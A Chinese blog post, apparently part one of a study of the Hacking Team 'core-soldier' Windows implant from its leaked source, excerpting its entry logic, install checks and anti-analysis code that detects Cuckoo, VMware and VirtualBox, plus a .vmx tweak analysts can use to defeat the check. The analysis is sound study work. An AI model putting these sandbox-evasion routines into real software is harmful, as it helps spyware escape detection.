core-soldier代码学习1
这份代码是Hackteam泄露出的400G源码中关于windows的一小部分,下载链接:https://github.com/hackedteam?tab=repositories
工程分为2部分Soldier主体与updater程序。当然,主要看的是Soldier主体部分。
程序入口:
int CALLBACK WinMain( __in HINSTANCE hInstance, __in HINSTANCE hPrevInstance, __in LPSTR lpCmdLine, __in int nCmdShow) { if (FakeConditionalVersion()) { SecureZeroMemory(DEMO_TAG, 3); SecureZeroMemory(WMARKER, 3); SecureZeroMemory(CLIENT_KEY, 3); SecureZeroMemory(ENCRYPTION_KEY_CONF, 3); SecureZeroMemory(SCOUT_NAME, 3); SecureZeroMemory(EMBEDDED_CONF, 4); ShellExecute(NULL, L"open", L"http://www.skype.com", NULL, NULL, SW_SHOWNORMAL); return 1; } //检测windows版本 #ifdef _DEBUG OutputDebugString(L"Initializing scout..."); #endif
if (InitScout())
{........
//以下暂时省略
FakeConditionalVersion()这个函数名有点奇怪啊,主要判断代码如下:
if (!GetVersionEx((POSVERSIONINFO) &pOsVersionInfo))
return FALSE;
if (pOsVersionInfo.dwMajorVersion > 0xf1)
return TRUE;
通过GetVersionEx获得OSVERSIONINFOEX结构,然后判断其中的系统版本(dwMajorVersion ),但是新出的windows10这个值最大就是10,所以永远返回FALSE。怪不得前面加一个FAKE。
接下来一个判断函数InitScout()
这个函数主要作用是:初始化一些参数,检测是否有同名的文件映射然后创建文件映射,加载注册表中的信息,以及虚拟机检测。
首先,InitEncryptionKeys()这个函数初始化了一些后面会用到的字符串。然后是个判断:
BOOL bVM = AntiVM(); BOOL bElite = ExistsEliteSharedMemory(); BOOL bScout = ExistsScoutSharedMemory(); // check for elite or scout presence //if (ExistsEliteSharedMemory() || ExistsScoutSharedMemory()) if (bVM || bElite || bScout) { #ifdef _DEBUG OutputDebug(L"[+] An ELITE or SCOUT is already installed here!\n"); __asm int 3; #endif if (bElite && AmIFromStartup()) DeleteAndDie(TRUE); // FIXME: forse e' ok uscire qui return FALSE; }
ExistsEliteShareMemory()与ExistsScoutShareMemory的原理一样,都是使用OpenFileMapping()看是否已经存在了同名的映射,判断主要代码:
pName = GetScoutSharedMemoryName();
hMem = OpenFileMapping(FILE_MAP_READ, FALSE, pName);
if (hMem)
{
uRet = TRUE;
CloseHandle(hMem);
}
AntiVM()函数用于检测程序是否运行在虚拟机下,它分别检测了Cuckoo,VMware与VirtualBox
检测Cuckoo的代码:
VOID AntiCuckoo() { LPDWORD pOld, pFake; pFake = (LPDWORD) malloc(4096*100); memset(pFake, 1, 4096*100); __asm { mov eax, fs:[0x44] // save old value mov pOld, eax mov eax, pFake // replace with fake value mov fs:[0x44], eax } // this will not be logged nor executed. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL); __asm { mov eax, pOld // restore old value, not reached if cuckoo mov fs:[0x44], eax } free(pFake); }
这是对fs:0x44的值进行操作,我对Cuckoo没有什么了解,这个操作应该是跟Cuckoo的挂钩方式有关?
VMware与VirtualBox:
他们的原理相同,通过WMI查询硬件,VMware查询的是bios的序列号,VirtualBox查询的是Win32_PnPEntity结构中的DeviceID(这个是什么设备?)
由于代码比较长,我以VMware为例,只看重要部分:
com的初始化
CoInitialize(NULL);//com初始化 if (CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc) != S_OK) //创建com服务器用于接发数据 return FALSE; if (!pLoc) return FALSE; WCHAR strRootCIM[] = { L'R', L'O', L'O', L'T', L'\\', L'C', L'I', L'M', L'V', L'2', L'\0' };//ROOT\\CIMV2
然后初始化查询的字符串在WMIExecQueryGetProp(.....)中查询BIOS的序列号
WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' };
//SELECT * FROM Win32_Bios
WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' };
//SerialNumber
if (WMIExecQueryGetProp(pSvc, strQuery, strSerial, &vArg) && vArg.vt == VT_BSTR)
{
查询的代码
HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum); if (hr == S_OK) { ULONG uRet; IWbemClassObject *apObj; hr = pEnum->Next(5000, 1, &apObj, &uRet); if (hr == S_OK) { hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL); if (hr == WBEM_S_NO_ERROR) bRet = TRUE; apObj->Release(); } pEnum->Release(); }
由于VMware虚拟机bios的序列号总是会有一个VM头,可以因此判断是否运行在虚拟机环境下。
我们用命令查看一下虚拟机的bios序列号:

可见一个 ”VMware-“ 的头。
如何anti这种检测方式? 方法有很多,最简单的方法是在虚拟机的配置文件.vmx中加入这一行:
SMBIOS.reflectHost = TRUE
这样虚拟机的bios序列号就会和主机一样了,效果如图:

这章先到这吧,下次再更
浙公网安备 33010602011771号